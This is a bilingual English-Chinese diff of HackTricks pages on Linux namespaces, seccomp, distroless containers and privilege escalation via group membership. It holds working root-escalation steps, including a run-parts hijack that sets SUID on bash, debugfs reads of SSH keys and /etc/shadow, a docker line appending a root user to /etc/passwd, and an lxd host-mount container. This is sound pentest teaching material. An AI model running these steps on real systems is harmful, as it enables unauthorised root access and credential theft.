By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
通过挂载新的 `/proc` 文件系统,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>错误bash: fork: 无法分配内存</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID进程 ID命名空间的方式会遇到错误。关键细节和解决方案如下
1. **Problem Explanation**:
1. **问题解释**
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时如果没有其他进程它会触发命名空间的清理因为 PID 1 具有收养孤儿进程的特殊角色。然后Linux 内核将禁用该命名空间中的 PID 分配。
2. **Consequence**:
2. **后果**
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID从而产生 "无法分配内存" 的错误。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解决方案**
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
通过确保 `unshare``-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### Find all UTS namespaces
### 查找所有 UTS 命名空间
```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an UTS namespace
### 进入 UTS 命名空间
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them.
**Seccomp**,即安全计算模式,是**Linux内核的一个安全特性用于过滤系统调用**。它将进程限制在一组有限的系统调用中(`exit()``sigreturn()``read()``write()`仅适用于已打开的文件描述符。如果进程尝试调用其他任何内容内核将使用SIGKILL或SIGSYS终止该进程。该机制并不虚拟化资源而是将进程与资源隔离。
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`.
激活seccomp有两种方法通过`prctl(2)`系统调用与`PR_SET_SECCOMP`或者对于3.17及以上版本的Linux内核使用`seccomp(2)`系统调用。通过写入`/proc/self/seccomp`来启用seccomp的旧方法已被弃用取而代之的是`prctl()`
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux.
一个增强功能,**seccomp-bpf**增加了使用可自定义策略过滤系统调用的能力使用伯克利数据包过滤器BPF规则。该扩展被OpenSSH、vsftpd以及Chrome OS和Linux上的Chrome/Chromium浏览器等软件利用以实现灵活高效的系统调用过滤提供了对现在不再支持的Linux systrace的替代方案。
### **Original/Strict Mode**
In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL
### **原始/严格模式**
在此模式下Seccomp **仅允许系统调用** `exit()``sigreturn()``read()``write()`仅适用于已打开的文件描述符。如果进行任何其他系统调用进程将被SIGKILL终止。
```c:seccomp_strict.c
#include <fcntl.h>
#include <stdio.h>
@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read(
int main(int argc, char **argv)
{
int output = open("output.txt", O_WRONLY);
const char *val = "test";
int output = open("output.txt", O_WRONLY);
const char *val = "test";
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n");
printf("You will not see this message--the process will be killed first\n");
}
```
### Seccomp-bpf
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
此模式允许**使用可配置策略过滤系统调用**,该策略使用伯克利数据包过滤器规则实现。
```c:seccomp_bpf.c
#include <seccomp.h>
#include <unistd.h>
@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
void main(void) {
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
}
```
## Seccomp in Docker
**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
You can run a docker container with a **different seccomp** policy with:
**Seccomp-bpf** 被 **Docker** 支持,以有效限制来自容器的 **syscalls**,从而减少攻击面。您可以在 [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) 找到 **默认****阻止的 syscalls**,而 **默认 seccomp 配置文件** 可以在这里找到 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。\
您可以使用以下命令运行具有 **不同 seccomp** 策略的 docker 容器:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\
If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\
In the following example the **syscalls** of `uname` are discovered:
如果你想例如**禁止**一个容器执行某些**syscall**,像`uname`,你可以从[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)下载默认配置文件,然后**从列表中移除`uname`字符串**。\
如果你想确保**某个二进制文件在docker容器内无法工作**你可以使用strace列出该二进制文件使用的syscalls然后禁止它们。\
在以下示例中,发现了`uname`的**syscalls**
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
> [!NOTE]
> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs
> 如果您仅仅是使用 **Docker 启动一个应用程序**,您可以使用 **`strace`** 对其进行 **分析**,并 **仅允许** 它所需的系统调用
### Example Seccomp policy
### 示例 Seccomp 策略
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
To illustrate Seccomp feature, lets create a Seccomp profile disabling “chmod” system call as below.
为了说明 Seccomp 功能,让我们创建一个 Seccomp 配置文件禁用“chmod”系统调用如下所示。
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
}
```
In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\
Following output shows the “chmod” call returning error because its disabled in the seccomp profile
在上述配置中我们将默认操作设置为“允许”并创建了一个黑名单以禁用“chmod”。为了更安全我们可以将默认操作设置为丢弃并创建一个白名单以选择性地启用系统调用。\
以下输出显示“chmod”调用返回错误因为它在seccomp配置中被禁用。
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
Following output shows the “docker inspect” displaying the profile:
以下输出显示了“docker inspect”显示的配置文件
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,29 +2,29 @@
{{#include ../../../banners/hacktricks-training.md}}
## What is Distroless
## 什么是 Distroless
A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components.
Distroless 容器是一种只包含 **运行特定应用程序所需的必要依赖项** 的容器,不包含任何不必要的软件或工具。这些容器旨在尽可能 **轻量****安全**,并旨在通过移除任何不必要的组件来 **最小化攻击面**
Distroless containers are often used in **production environments where security and reliability are paramount**.
Distroless 容器通常用于 **安全性和可靠性至关重要的生产环境**
Some **examples** of **distroless containers** are:
一些 **distroless 容器的例子** 包括:
- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
- **Google** 提供: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- **Chainguard** 提供: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Weaponizing Distroless
## 武器化 Distroless
The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`.
武器化 distroless 容器的目标是能够 **执行任意二进制文件和有效负载,即使在 distroless 所暗示的限制下**(系统中缺乏常见的二进制文件),以及容器中常见的保护措施,如 **只读****不可执行**`/dev/shm` 中。
### Through memory
### 通过内存
Coming at some point of 2023...
将在 2023 年的某个时候...
### Via Existing binaries
### 通过现有二进制文件
#### openssl
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container.
\***\*[**在这篇文章中,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 解释了二进制文件 **`openssl`** 经常出现在这些容器中,可能是因为它是 **软件所需的**,该软件将在容器内运行。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
# Interesting Groups - Linux Privesc
# 有趣的组 - Linux 权限提升
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/Admin Groups
## Sudo/管理员组
### **PE - Method 1**
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
### **PE - 方法 1**
**有时****默认情况下(或因为某些软件需要它)**在 **/etc/sudoers** 文件中可以找到一些这些行:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -15,48 +14,36 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
这意味着 **任何属于 sudo 或 admin 组的用户都可以以 sudo 身份执行任何操作**
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
如果是这种情况,要 **成为 root你只需执行**
```
sudo su
```
### PE - 方法 2
### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
查找所有 suid 二进制文件,并检查是否存在二进制文件 **Pkexec**
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
如果你发现二进制文件 **pkexec 是一个 SUID 二进制文件**,并且你属于 **sudo****admin**,你可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\
这是因为通常这些是 **polkit 策略** 中的组。该策略基本上识别哪些组可以使用 `pkexec`。使用以下命令检查:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
在那里您将找到哪些组被允许执行 **pkexec**,并且在某些 Linux 发行版中,**sudo** 和 **admin** 组默认出现。
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
To **become root you can execute**:
**成为 root您可以执行**
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
如果您尝试执行 **pkexec** 并且收到此 **错误**
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**这不是因为你没有权限,而是因为你没有通过 GUI 连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要 **2 个不同的 ssh 会话**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**有时****默认情况下**在 **/etc/sudoers** 文件中可以找到这一行:
```
%wheel ALL=(ALL:ALL) ALL
```
这意味着 **属于 wheel 组的任何用户都可以以 sudo 身份执行任何操作**
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
如果是这样,要 **成为 root你只需执行**
```
sudo su
```
## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
来自 **group shadow** 的用户可以 **读取** **/etc/shadow** 文件:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
所以,阅读文件并尝试**破解一些哈希**。
So, read the file and try to **crack some hashes**.
## 员工组
## Staff Group
**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(请注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中并且它们可能会“覆盖”`/bin``/usr/bin`中同名的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
在debian发行版中`$PATH`变量显示`/usr/local/`将以最高优先级运行,无论您是否是特权用户。
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -107,11 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
如果我们可以劫持 `/usr/local` 中的一些程序,我们就可以轻松获得 root 权限。
If we can hijack some programs in `/usr/local`, we can easy to get root.
Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
劫持 `run-parts` 程序是一种轻松获得 root 权限的方法,因为大多数程序会像 (crontab, 当 ssh 登录时) 一样运行 `run-parts`
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
or When a new ssh session login.
或当一个新的ssh会话登录时。
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -134,9 +109,7 @@ $ pspy64
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
```
**Exploit**
**利用**
```bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
@ -155,13 +128,11 @@ $ ls -la /bin/bash
# 0x5 root it
$ /bin/bash -p
```
## 磁盘组
## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
此权限几乎**等同于根访问**,因为您可以访问机器内部的所有数据。
文件:`/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
@ -170,57 +141,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
请注意,使用 debugfs 您也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,您可以执行:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
然而,如果你尝试**写入由 root 拥有的文件**(如 `/etc/shadow``/etc/passwd`),你将会遇到“**权限被拒绝**”错误。
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
## 视频组
使用命令 `w` 你可以找到**谁已登录系统**,它将显示如下输出:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** 表示用户 **yossi 正在物理登录** 到机器上的一个终端。
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
**video group** 有权限查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
要**打开** **原始图像**,您可以使用**GIMP**,选择**`screen.raw`**文件,并选择文件类型为**原始图像数据**
![](<../../../images/image (463).png>)
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
然后将宽度和高度修改为屏幕上使用的值,并检查不同的图像类型(并选择显示屏幕效果更好的那个):
![](<../../../images/image (317).png>)
## Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
**检查root成员可以修改哪些文件**
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker 组
## Docker Group
You can **mount the root filesystem of the host machine to an instances volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
您可以**将主机的根文件系统挂载到实例的卷**,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。
```bash
docker image #Get images from the docker service
@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
最后如果你不喜欢之前的任何建议或者由于某种原因它们不起作用docker api 防火墙?),你可以尝试**运行一个特权容器并从中逃逸**,如这里所述:
{{#ref}}
../docker-security/
{{#endref}}
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
如果你对 docker socket 有写权限,请阅读[**这篇关于如何利用 docker socket 升级权限的文章**](../#writable-docker-socket)**。**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## lxc/lxd Group
## lxc/lxd
{{#ref}}
./
{{#endref}}
## Adm Group
## Adm
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
通常,**`adm`** 组的**成员**有权限**读取**位于 _/var/log/_ 中的日志文件。\
因此,如果你已经攻陷了该组中的用户,你应该确实**查看日志**。
## Auth group
## Auth
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
在 OpenBSD 中,**auth** 组通常可以在 _**/etc/skey**__**/var/db/yubikey**_ 文件夹中写入(如果它们被使用)。\
这些权限可能会被以下漏洞利用,以**升级权限**到 root[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# lxd/lxc Group - Privilege escalation
# lxd/lxc 组 - 权限提升
{{#include ../../../banners/hacktricks-training.md}}
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
如果您属于 _**lxd**_ **或** _**lxc**_ **组**,您可以成为 root
## Exploiting without internet
## 无需互联网的利用
### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
### 方法 1
您可以在您的机器上安装这个发行版构建工具:[https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(按照 GitHub 的说明进行操作)
```bash
sudo su
# Install requirements
@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
```
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
上传文件 **lxd.tar.xz****rootfs.squashfs**,将镜像添加到仓库并创建一个容器:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -51,23 +48,19 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
> [!CAUTION]
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
> Run **`lxd init`** and **repeat** the previous chunk of commands
Finally you can execute the container and get root:
> 如果您发现此错误 _**错误:未找到存储池。请创建一个新的存储池**_\
> 运行 **`lxd init`** 并 **重复** 之前的命令块
最后,您可以执行容器并获取 root
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### 方法 2
### Method 2
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
